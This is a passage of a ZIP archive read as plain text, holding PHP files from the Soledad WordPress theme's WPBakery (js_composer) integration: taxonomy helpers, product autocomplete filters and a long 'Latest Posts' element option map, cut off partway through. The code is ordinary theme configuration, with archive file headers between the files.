		if ( $extra_css ) {
			$out .= $extra_css;
		}
		if ( $out ) {
			echo '<style>' . $out . '</style>';
		}
	}
}
if ( ! function_exists( 'penci_wpbakery_taxonomies_list' ) ) {
	function penci_wpbakery_taxonomies_list() {
		$return = [];
		$datas  = get_object_taxonomies( 'post', 'object' );
		if ( ! empty( $datas ) ) {
			foreach ( $datas as $data ) {
				$return[] = [
					'value' => $data->name,
					'label' => $data->label,
				];
			}
		}

		return $return;
	}
}
if ( ! function_exists( 'penci_wpbakery_taxonomies_list_arr' ) ) {
	function penci_wpbakery_taxonomies_list_arr() {
		$return = [];
		$datas  = get_object_taxonomies( 'post', 'object' );
		if ( ! empty( $datas ) ) {
			foreach ( $datas as $data ) {
				$return[$data->label] = $data->name;
			}
		}

		return $return;
	}
}
if ( ! function_exists( 'penci_wpbakery_taxonomies_posts_arr' ) ) {
	function penci_wpbakery_taxonomies_posts_arr() {
		$return = [];
		$datas  = get_object_taxonomies( 'post' );
		if ( ! empty( $datas ) ) {
			$args = array(
				'taxonomy'   => $datas,
				'hide_empty' => false,
			);
	
			$terms = get_terms( $args );
	
			if ( is_array( $terms ) && $terms ) {
				foreach ( $terms as $term ) {
					if ( is_object( $term ) ) {
						$return[] = array(
							'value'   => $term->term_id,
							'label' => $term->name . ' (' . $term->taxonomy . ')',
						);
					}
				}
			}
		}

		return $return;
	}
}
PK     0w\ JzC-  C-  !  js_composer/inc/product_param.phpnu [        <?php
/**
 * ------------------------------------------------------------------------------------------------
 * AJAX Products tabs element map
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_get_products_shortcode_params' ) ) {
	function penci_get_products_shortcode_params() {
		return array(
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Date Source', 'soledad' ),
				'value'            => array(
					esc_html__( 'All Products', 'soledad' )            => 'product',
					esc_html__( 'Featured Products', 'soledad' )       => 'featured',
					esc_html__( 'Sale Products', 'soledad' )           => 'sale',
					esc_html__( 'Products with NEW label', 'soledad' ) => 'new',
					esc_html__( 'Bestsellers', 'soledad' )             => 'bestselling',
					esc_html__( 'List of IDs', 'soledad' )             => 'ids',
					esc_html__( 'Top Rated Products', 'soledad' )      => 'top_rated_products',
				),
				'std'              => 'product',
				'param_name'       => 'post_type',
				'edit_field_class' => 'vc_col-sm-12',
			),
			array(
				'type'             => 'autocomplete',
				'heading'          => __( 'Included Only', 'soledad' ),
				'value'            => '',
				'param_name'       => 'include',
				'edit_field_class' => 'vc_col-sm-4',
				'hint'             => esc_html__( 'Add products by title.', 'soledad' ),
				'settings'         => array(
					'multiple' => true,
					'sortable' => true,
					'groups'   => true
				),
			),
			array(
				'type'             => 'autocomplete',
				'heading'          => __( 'Excluded', 'soledad' ),
				'value'            => '',
				'param_name'       => 'exclude',
				'edit_field_class' => 'vc_col-sm-4',
			),
			array(
				'type'             => 'autocomplete',
				'heading'          => __( 'Categories OR Tags', 'soledad' ),
				'value'            => '',
				'param_name'       => 'taxonomies',
				'edit_field_class' => 'vc_col-sm-4',
				'settings'         => array(
					'multiple'       => true,
					// is multiple values allowed? default false
					// 'sortable' => true, // is values are sortable? default false
					'min_length'     => 1,
					// min length to start search -> default 2
					// 'no_hide' => true, // In UI after select doesn't hide an select list, default false
					'groups'         => true,
					// In UI show results grouped by groups, default false
					'unique_values'  => true,
					// In UI show results except selected. NB! You should manually check values in backend, default false
					'display_inline' => true,
					// In UI show results inline view, default false (each value in own line)
					'delay'          => 500,
					// delay for search. default 500
					'auto_focus'     => true,
					// auto focus input, default true
				),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Order by', 'soledad' ),
				'value'            => array(
					''                                            => '',
					esc_html__( 'Date', 'soledad' )               => 'date',
					esc_html__( 'ID', 'soledad' )                 => 'id',
					esc_html__( 'Author', 'soledad' )             => 'author',
					esc_html__( 'Title', 'soledad' )              => 'title',
					esc_html__( 'Last modified date', 'soledad' ) => 'modified',
					esc_html__( 'Number of comments', 'soledad' ) => 'comment_count',
					esc_html__( 'Menu order', 'soledad' )         => 'menu_order',
					esc_html__( 'Meta value', 'soledad' )         => 'meta_value',
					esc_html__( 'Meta value number', 'soledad' )  => 'meta_value_num',
					esc_html__( 'Random order', 'soledad' )       => 'rand',
					esc_html__( 'Price', 'soledad' )              => 'price',
				),
				'std'              => '',
				'edit_field_class' => 'vc_col-sm-6',
				'param_name'       => 'orderby',
			),
			array(
				'type'             => 'textfield',
				'heading'          => __( 'Offset', 'soledad' ),
				'value'            => '',
				'param_name'       => 'offset',
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Query Type', 'soledad' ),
				'value'            => array(
					esc_html__( 'OR', 'soledad' )  => 'or',
					esc_html__( 'AND', 'soledad' ) => 'and',
				),
				'std'              => 'or',
				'param_name'       => 'query_type',
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Sort order', 'soledad' ),
				'value'            => array(
					esc_html__( 'Inherit', 'soledad' )    => '',
					esc_html__( 'Descending', 'soledad' ) => 'DESC',
					esc_html__( 'Ascending', 'soledad' )  => 'ASC',
				),
				'std'              => 'DESC',
				'param_name'       => 'order',
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Meta Key', 'soledad' ),
				'description' => esc_html__( 'Input meta key for grid ordering.', 'soledad' ),
				'value'       => '',
				'std'         => '',
				'param_name'  => 'meta_key',
			),
		);
	}
}

// Necessary hooks for blog autocomplete fields
add_filter( 'vc_autocomplete_penci_product_include_callback', 'penci_productIdAutocompleteSuggester_new', 10, 1 ); // Get suggestion(find). Must return an array
add_filter( 'vc_autocomplete_penci_product_include_render', 'penci_productIdAutocompleteRender', 10, 1 ); // Render exact product. Must return an array (label,value)

add_filter( 'vc_autocomplete_penci_product_tab_include_callback', 'penci_productIdAutocompleteSuggester_new', 10, 1 ); // Render exact product. Must return an array (label,value)
add_filter( 'vc_autocomplete_penci_product_tab_include_render', 'penci_productIdAutocompleteRender', 10, 1 ); // Render exact product. Must return an array (label,value)

// Narrow data taxonomies
add_filter( 'vc_autocomplete_penci_product_taxonomies_callback', 'penci_vc_autocomplete_taxonomies_field_search', 10, 1 );
add_filter( 'vc_autocomplete_penci_product_tab_taxonomies_callback', 'penci_vc_autocomplete_taxonomies_field_search', 10, 1 );
add_filter( 'vc_autocomplete_penci_product_taxonomies_render', 'penci_vc_autocomplete_taxonomies_field_render', 10, 1 );
add_filter( 'vc_autocomplete_penci_product_tab_taxonomies_render', 'penci_vc_autocomplete_taxonomies_field_render', 10, 1 );

// Narrow data taxonomies for exclude_filter
add_filter( 'vc_autocomplete_penci_product_exclude_filter_callback', 'penci_vc_autocomplete_taxonomies_field_render', 10, 1 );
add_filter( 'vc_autocomplete_penci_product_tab_exclude_filter_callback', 'penci_vc_autocomplete_taxonomies_field_render', 10, 1 );
add_filter( 'vc_autocomplete_penci_product_exclude_filter_render', 'penci_vc_autocomplete_taxonomies_field_render', 10, 1 );
add_filter( 'vc_autocomplete_penci_product_tab_exclude_filter_render', 'penci_vc_autocomplete_taxonomies_field_render', 10, 1 );

add_filter( 'vc_autocomplete_penci_product_exclude_callback', 'vc_exclude_field_search', 10, 1 ); // Get suggestion(find). Must return an array
add_filter( 'vc_autocomplete_penci_product_tab_exclude_callback', 'vc_exclude_field_search', 10, 1 ); // Get suggestion(find). Must return an array
add_filter( 'vc_autocomplete_penci_product_exclude_render', 'vc_exclude_field_render', 10, 1 ); // Render exact product. Must return an array (label,value)
add_filter( 'vc_autocomplete_penci_product_tab_exclude_render', 'vc_exclude_field_render', 10, 1 ); // Render exact product. Must return an array (label,value)

if ( ! function_exists( 'penci_vc_autocomplete_taxonomies_field_render' ) ) {
	function penci_vc_autocomplete_taxonomies_field_render( $term ) {
		$vc_taxonomies_types = vc_taxonomies_types();

		$brands_attribute = get_theme_mod( 'penci_woocommerce_brand_attr' );

		if ( ! empty( $brands_attribute ) && taxonomy_exists( $brands_attribute ) ) {
			$vc_taxonomies_types[ $brands_attribute ] = $brands_attribute;
		}

		$terms = get_terms( array_keys( $vc_taxonomies_types ), array(
			'include'    => array( $term['value'] ),
			'hide_empty' => false,
		) );
		$data  = false;
		if ( is_array( $terms ) && 1 === count( $terms ) ) {
			$term = $terms[0];
			$data = vc_get_term_object( $term );
		}

		return $data;
	}
}

if ( ! function_exists( 'penci_productIdAutocompleteSuggester_new' ) ) {
	function penci_productIdAutocompleteSuggester_new( $query ) {
		global $wpdb;
		$product_id      = (int) $query;
		$post_meta_infos = $wpdb->get_results( $wpdb->prepare( "SELECT a.ID AS id, a.post_title AS title
							FROM {$wpdb->posts} AS a
							LEFT JOIN ( SELECT product_id, sku FROM {$wpdb->wc_product_meta_lookup} ) AS b ON b.product_id = a.ID
							WHERE a.post_type = 'product' AND ( a.ID = '%d' OR b.sku LIKE '%%%s%%' OR a.post_title LIKE '%%%s%%' )", $product_id > 0 ? $product_id : - 1, stripslashes( $query ), stripslashes( $query ) ), ARRAY_A );

		$results = array();
		if ( is_array( $post_meta_infos ) && ! empty( $post_meta_infos ) ) {
			foreach ( $post_meta_infos as $value ) {
				$data          = array();
				$data['value'] = $value['id'];
				$data['label'] = esc_html__( 'Id', 'soledad' ) . ': ' . $value['id'] . ( ( strlen( $value['title'] ) > 0 ) ? ' - ' . esc_html__( 'Title', 'soledad' ) . ': ' . $value['title'] : '' ) . ( ( strlen( $value['sku'] ) > 0 ) ? ' - ' . esc_html__( 'Sku', 'soledad' ) . ': ' . $value['sku'] : '' );
				$results[]     = $data;
			}
		}

		return $results;
	}
}

if ( ! function_exists( 'penci_productIdAutocompleteRender' ) ) {
	function penci_productIdAutocompleteRender( $query ) {
		$query = trim( $query['value'] ); // get value from requested
		if ( ! empty( $query ) ) {
			// get product
			$product_object = wc_get_product( (int) $query );
			if ( is_object( $product_object ) ) {
				$product_sku   = $product_object->get_sku();
				$product_title = $product_object->get_title();
				$product_id    = $product_object->get_id();

				$product_sku_display = '';
				if ( ! empty( $product_sku ) ) {
					$product_sku_display = ' - ' . esc_html__( 'Sku', 'soledad' ) . ': ' . $product_sku;
				}

				$product_title_display = '';
				if ( ! empty( $product_title ) ) {
					$product_title_display = ' - ' . esc_html__( 'Title', 'soledad' ) . ': ' . $product_title;
				}

				$product_id_display = esc_html__( 'Id', 'soledad' ) . ': ' . $product_id;

				$data          = array();
				$data['value'] = $product_id;
				$data['label'] = $product_id_display . $product_title_display . $product_sku_display;

				return ! empty( $data ) ? $data : false;
			}

			return false;
		}

		return false;
	}
}

// Add other product attributes
if ( ! function_exists( 'penci_vc_autocomplete_taxonomies_field_search' ) ) {
	function penci_vc_autocomplete_taxonomies_field_search( $search_string ) {
		$data                = array();
		$vc_filter_by        = vc_post_param( 'vc_filter_by', '' );
		$vc_taxonomies_types = strlen( $vc_filter_by ) > 0 ? array( $vc_filter_by ) : array_keys( vc_taxonomies_types() );

		$brands_attribute = get_theme_mod( 'penci_woocommerce_brand_attr' );

		if ( ! empty( $brands_attribute ) && taxonomy_exists( $brands_attribute ) ) {
			array_push( $vc_taxonomies_types, $brands_attribute );
		}

		$vc_taxonomies = get_terms( $vc_taxonomies_types, array(
			'hide_empty' => false,
			'search'     => $search_string,
		) );
		if ( is_array( $vc_taxonomies ) && ! empty( $vc_taxonomies ) ) {
			foreach ( $vc_taxonomies as $t ) {
				if ( is_object( $t ) ) {
					$data[] = vc_get_term_object( $t );
				}
			}
		}

		return $data;
	}
}
PK     0w\     !  js_composer/inc/global-blocks.phpnu [        <?php
if ( ! class_exists( 'Penci_Global_Data_Blocks' ) ):
	class Penci_Global_Data_Blocks {
		private static $container_layout = '11';

		public static function set_data_row( $new_data ) {
			self::$container_layout = $new_data;
		}

		public static function reset_data_row() {
			self::$container_layout = '';
		}

		public static function get_data_row() {
			return self::$container_layout;
		}
	}
endif;PK     0w\V. .   js_composer/soledad_vc.phpnu [        <?php
/**
 * Add on for Visual Composer
 * If VC installed, this file will load
 * This add-on only use for Soledad theme
 *
 * @since 2.6
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'Soledad_VC_Admin' ) && function_exists( 'vc_map' ) ) {
	class Soledad_VC_Admin {

		function __construct() {
			// We safely integrate with VC with this hook
			add_action( 'vc_before_init', array( $this, 'integrate' ) );
		}

		/**
		 * Integrate elements (shortcodes) into VC interface
		 */
		public function integrate() {
			// Check if Visual Composer is installed
			if ( ! defined( 'WPB_VC_VERSION' ) ) {
				// Display notice that Visual Compser is required
				add_action( 'admin_notices', array( __CLASS__, 'notice' ) );

				return;
			}

			$group_color = 'Typo & Color';

			/*
			 * Register custom shortcodes within Visual Composer interface
			 *
			 * @see http://kb.wpbakery.com/index.php?title=Vc_map
			 */
			// Latest Posts
			vc_map( array(
				'name'        => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Latest Posts', 'soledad' ),
				'description' => 'Display your latest posts',
				'base'        => 'latest_posts',
				'class'       => '',
				'controls'    => 'full',
				'icon'        => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
				'category'    => penci_get_theme_name( 'Soledad' ),
				'weight'      => 700,
				'params'      => array_merge( array(
					array(
						'type'             => 'textfield',
						'param_name'       => 'ltest_heading',
						'heading'          => esc_html__( 'General', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'loop',
						'heading'     => '',
						'param_name'  => 'build_query',
						'value'       => 'post_type:post|size:10',
						'settings'    => array(
							'size'      => array( 'value' => 10, 'hidden' => false ),
							'post_type' => array( 'value' => 'post', 'hidden' => false )
						),
						'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
					),
					array(
						'type'        => 'dropdown',
						'heading'     => __( 'Latest Posts Layout', 'soledad' ),
						'value'       => array(
							'Standard Posts'                   => 'standard',
							'Classic Posts'                    => 'classic',
							'Overlay Posts'                    => 'overlay',
							'Featured Boxed'                   => 'featured',
							'Grid Posts'                       => 'grid',
							'Grid 2 Columns Posts'             => 'grid-2',
							'Grid Boxed'                       => 'grid-boxed',
							'Grid Boxed 2'                     => 'grid-boxed-2',
							'Grid Boxed 3'                     => 'grid-boxed-3',
							'Grid Boxed 4'                     => 'grid-boxed-4',
							'Grid Masonry Posts'               => 'masonry',
							'Grid Masonry 2 Columns Posts'     => 'masonry-2',
							'List Posts'                       => 'list',
							'List Boxed'                       => 'list-boxed',
							'List Boxed 2'                     => 'list-boxed-2',
							'Timeline'                     	   => 'timeline',
							'Small List Posts'                 => 'small-list',
							'Boxed Posts Style 1'              => 'boxed-1',
							'Boxed Posts Style 2'              => 'boxed-2',
							'Mixed Posts'                      => 'mixed',
							'Mixed Posts Style 2'              => 'mixed-2',
							'Mixed Posts Larger'               => 'mixed-larger',
							'Mixed Posts Style 3'              => 'mixed-3',
							'Mixed Posts Style 4'              => 'mixed-4',
							'Photography Posts'                => 'photography',
							'1st Standard Then Grid'           => 'standard-grid',
							'1st Standard Then Grid 2 Columns' => 'standard-grid-2',
							'1st Standard Then List'           => 'standard-list',
							'1st Standard Then Boxed'          => 'standard-boxed-1',
							'1st Classic Then Grid'            => 'classic-grid',
							'1st Classic Then Grid 2 Columns'  => 'classic-grid-2',
							'1st Classic Then List'            => 'classic-list',
							'1st Classic Then Boxed'           => 'classic-boxed-1',
							'1st Overlay Then Grid'            => 'overlay-grid',
							'1st Overlay Then Grid 2 Columns'  => 'overlay-grid-2',
							'1st Overlay Then List'            => 'overlay-list',
							'1st Overlay Then Boxed'           => 'overlay-boxed-1'
						),
						'param_name'  => 'style',
						'description' => 'Select Latest Posts Style',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Mixed Post Style', 'soledad' ),
						'default'    => 's1',
						'value'      => array(
							'Style 1' => 's1',
							'Style 2' => 's2',
						),
						'param_name' => 'penci_mixed_style',
						'dependency' => array( 'element' => 'style', 'value' => array( 'mixed', 'mixed-2' ) ),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Post Header Alignment', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'Left'    => 'left',
							'Center'  => 'center',
							'Right'   => 'right',
						),
						'param_name' => 'post_alignment'
					),
					array(
						'type'             => 'penci_number',
						'param_name'       => 'penci_items_martop',
						'heading'          => __( 'Rows Gap Between Post Items', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'edit_field_class' => 'vc_col-sm-6',
					),

					array(
						'type'             => 'penci_number',
						'param_name'       => 'penci_bitems_martop',
						'heading'          => __( 'Rows Gap Between Big Items', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'edit_field_class' => 'vc_col-sm-6',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array(
								'mixed',
								'mixed-2',
								'mixed-4',
								'standard-grid',
								'standard-list',
								'standard-grid-2',
								'standard-boxed',
								'classic-grid',
								'classic-list',
								'classic-grid-2',
								'classic-boxed',
								'overlay-grid',
								'overlay-list',
								'overlay-grid-2',
								'overlay-boxed'
							)
						),
					),

					array(
						'type'             => 'penci_number',
						'param_name'       => 'penci_sitems_martop',
						'heading'          => __( 'Rows Gap Between Small List Posts Items', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'edit_field_class' => 'vc_col-sm-6',
						'dependency'       => array(
							'element' => 'style',
							'value'   => array( 'mixed-3', 'mixed-4' )
						),
					),

					// Standard & Classic Layouts Options
					array(
						'type'             => 'textfield',
						'param_name'       => 'section_standard_classic_layout',
						'heading'          => esc_html__( 'Standard & Classic Layouts Options', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'penci_switch',
						'heading'     => __( 'Enable Post Meta Overlay Featured Image', 'soledad' ),
						'description' => __( 'This option just apply for Standard Layout Only', 'soledad' ),
						'param_name'  => 'standard_meta_overlay',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Post Thumbnail', 'soledad' ),
						'param_name'       => 'standard_thumbnail',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Disable Autoplay for Slider on Posts Format Gallery', 'soledad' ),
						'param_name'       => 'std_dis_at_gallery',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Make Featured Image Auto Crop', 'soledad' ),
						'param_name'       => 'standard_thumb_crop',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Category', 'soledad' ),
						'param_name'       => 'standard_cat',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Post Author', 'soledad' ),
						'param_name'       => 'standard_author',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Post Date', 'soledad' ),
						'param_name'       => 'standard_date',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Comment Count', 'soledad' ),
						'param_name'       => 'standard_comment',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Show Views Count', 'soledad' ),
						'param_name'       => 'standard_viewscount',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Reading Time', 'soledad' ),
						'param_name'       => 'standard_readtime',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Remove Line Above Post Excerpt', 'soledad' ),
						'param_name'       => 'standard_remove_line',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Auto Render Post Excerpt', 'soledad' ),
						'param_name'       => 'standard_auto_excerpt',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Post Content/Post Excerpt', 'soledad' ),
						'param_name'       => 'standard_remove_excerpt',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'value'            => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Disable Hover Effect on "Continue Reading" Button', 'soledad' ),
						'param_name'       => 'standard_effect_button',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Make "Continue Reading" is A Button', 'soledad' ),
						'param_name'       => 'std_continue_btn',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
						'dependency'       => array( 'element' => 'standard_auto_excerpt', 'value' => 'yes' ),
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Words Length for Post Titles', 'soledad' ),
						'param_name' => 'standard_title_length',
					),

					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Share Icons', 'soledad' ),
						'param_name'       => 'standard_share_box',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'textfield',
						'heading'    => esc_html__( 'Custom Excerpt Length', 'soledad' ),
						'param_name' => 'standard_excerpt_length',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Align Excerpt', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'Left'    => 'left',
							'Center'  => 'center',
							'Right'   => 'right',
						),
						'param_name' => 'std_excerpt_align',
						'dependency' => array(
							'element' => 'style',
							'value'   => array(
								'standard',
								'classic',
								'grid',
								'grid-2',
								'masonry',
								'masonry-2',
								'list',
								'mixed',
								'mixed-2',
								'standard-grid',
								'standard-grid-2',
								'standard-list',
								'standard-boxed-1',
								'classic-grid',
								'classic-grid-2',
								'classic-list',
								'classic-boxed-1',
								'overlay-grid',
								'overlay-list'
							)
						),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Align "Continue Reading" Button', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'Left'    => 'left',
							'Center'  => 'center',
							'Right'   => 'right',
						),
						'param_name' => 'std_continue_align',
						'dependency' => array(
							'element' => 'style',
							'value'   => array(
								'standard',
								'classic',
								'grid',
								'grid-2',
								'masonry',
								'masonry-2',
								'list',
								'mixed',
								'mixed-2',
								'standard-grid',
								'standard-grid-2',
								'standard-list',
								'standard-boxed-1',
								'classic-grid',
								'classic-grid-2',
								'classic-list',
								'classic-boxed-1',
								'overlay-grid',
								'overlay-list'
							)
						),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Standard Heading HTML Tag', 'soledad' ),
						'value'      => array(
							'Default' => '',
							'H1'    	=> 'h1',
							'H2'    	=> 'h2',
							'H3'    	=> 'h3',
							'H4'    	=> 'h4',
							'H5'    	=> 'h5',
							'H6'    	=> 'h6',
						),
						'param_name' => 'standard_title_tag',
						'dependency' => array(
							'element' => 'style',
							'value'   => array(
								'standard',
								'classic',
								'grid',
								'grid-2',
								'masonry',
								'masonry-2',
								'list',
								'mixed',
								'mixed-2',
								'standard-grid',
								'standard-grid-2',
								'standard-list',
								'standard-boxed-1',
								'classic-grid',
								'classic-grid-2',
								'classic-list',
								'classic-boxed-1',
								'overlay-grid',
								'overlay-list'
							)
						),
					),
					// Other Layouts Options
					array(
						'type'             => 'textfield',
						'param_name'       => 'section_order_layouts_layout',
						'heading'          => esc_html__( 'Other Layouts Options', 'soledad' ),
						'value'            => '',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Image Size Type', 'soledad' ),
						'value'      => array(
							'Default'         => '',
							'Horizontal Size' => 'horizontal',
							'Square Size'     => 'square',
							'Vertical Size'   => 'vertical',
							'Custom'          => 'custom',
						),
						'std'        => '',
						'param_name' => 'penci_featimg_size',
					),
					array(
						'type'       => 'penci_only_number',
						'heading'    => esc_html__( 'Image Ratio.Unit is %. E.g: 50', 'soledad' ),
						'param_name' => 'penci_featimg_ratio',
						'value'      => '',
						'std'        => '',
						'min'        => 0,
						'max'        => 100,
						'suffix'     => '%',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Custom Image Size', 'soledad' ),
						'value'      => array(
							'Default'                              => '',
							'Thumbnail - 150 x 150'                => 'thumbnail',
							'Medium - 300 x 300'                   => 'medium',
							'Medium Large - 768 x auto'            => 'medium_large',
							'Large - 1024 x 1024'                  => 'large',
							'Penci-single-full - 1920 x auto'      => 'penci-single-full',
							'Penci-slider-full-thumb - 1920 x 800' => 'penci-slider-full-thumb',
							'Penci-full-thumb - 1170 x auto'       => 'penci-full-thumb',
							'Penci-slider-thumb - 1170 x 663'      => 'penci-slider-thumb',
							'Penci-magazine-slider - 780 x 516'    => 'penci-magazine-slider',
							'Penci-thumb - 585 x 390'              => 'penci-thumb',
							'Penci-masonry-thumb - 585 x auto'     => 'penci-masonry-thumb',
							'Penci-thumb-square - 585 x 585'       => 'penci-thumb-square',
							'Penci-thumb-vertical - 480 x 650'     => 'penci-thumb-vertical',
							'Penci-thumb-small - 263 x 175'        => 'penci-thumb-small',
							'Full'                                 => 'full',
						),
						'param_name' => 'thumb_size',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Custom Image Size for Big Posts', 'soledad' ),
						'value'      => array(
							'Default'                              => '',
							'Thumbnail - 150 x 150'                => 'thumbnail',
							'Medium - 300 x 300'                   => 'medium',
							'Medium Large - 768 x auto'            => 'medium_large',
							'Large - 1024 x 1024'                  => 'large',
							'Penci-single-full - 1920 x auto'      => 'penci-single-full',
							'Penci-slider-full-thumb - 1920 x 800' => 'penci-slider-full-thumb',
							'Penci-full-thumb - 1170 x auto'       => 'penci-full-thumb',
							'Penci-slider-thumb - 1170 x 663'      => 'penci-slider-thumb',
							'Penci-magazine-slider - 780 x 516'    => 'penci-magazine-slider',
							'Penci-thumb - 585 x 390'              => 'penci-thumb',
							'Penci-masonry-thumb - 585 x auto'     => 'penci-masonry-thumb',
							'Penci-thumb-square - 585 x 585'       => 'penci-thumb-square',
							'Penci-thumb-vertical - 480 x 650'     => 'penci-thumb-vertical',
							'Penci-thumb-small - 263 x 175'        => 'penci-thumb-small',
							'Full'                                 => 'full',
						),
						'param_name' => 'thumb_bigsize',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Columns on Desktop', 'soledad' ),
						'value'            => array(
							'Default' => '',
							1         => 1,
							2         => 2,
							3         => 3,
							4         => 4,
							5         => 6,
							6         => 6,
						),
						'std'              => '',
						'param_name'       => 'order_columns',
						'edit_field_class' => 'vc_col-sm-4',
						'dependency'       => array( 'element' => 'style', 'value' => array( 'grid', 'masonry' ) ),
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Columns on Tablet', 'soledad' ),
						'value'            => array(
							'Default' => '',
							1         => 1,
							2         => 2,
							3         => 3,
							4         => 4,
							5         => 6,
							6         => 6,
						),
						'std'              => '',
						'param_name'       => 'order_columns_tablet',
						'edit_field_class' => 'vc_col-sm-6',
						'dependency'       => array( 'element' => 'style', 'value' => array( 'grid', 'masonry' ) ),
					),
					array(
						'type'             => 'dropdown',
						'heading'          => __( 'Columns on Mobile', 'soledad' ),
						'value'            => array(
							'Default' => '',
							1         => 1,
							2         => 2,
							3         => 3,
							4         => 4,
							5         => 6,
							6         => 6,
						),
						'std'              => '',
						'param_name'       => 'order_columns_mobile',
						'edit_field_class' => 'vc_col-sm-4',
						'dependency'       => array( 'element' => 'style', 'value' => array( 'grid', 'masonry' ) ),
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Icon Post Format', 'soledad' ),
						'param_name'       => 'grid_icon_format',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
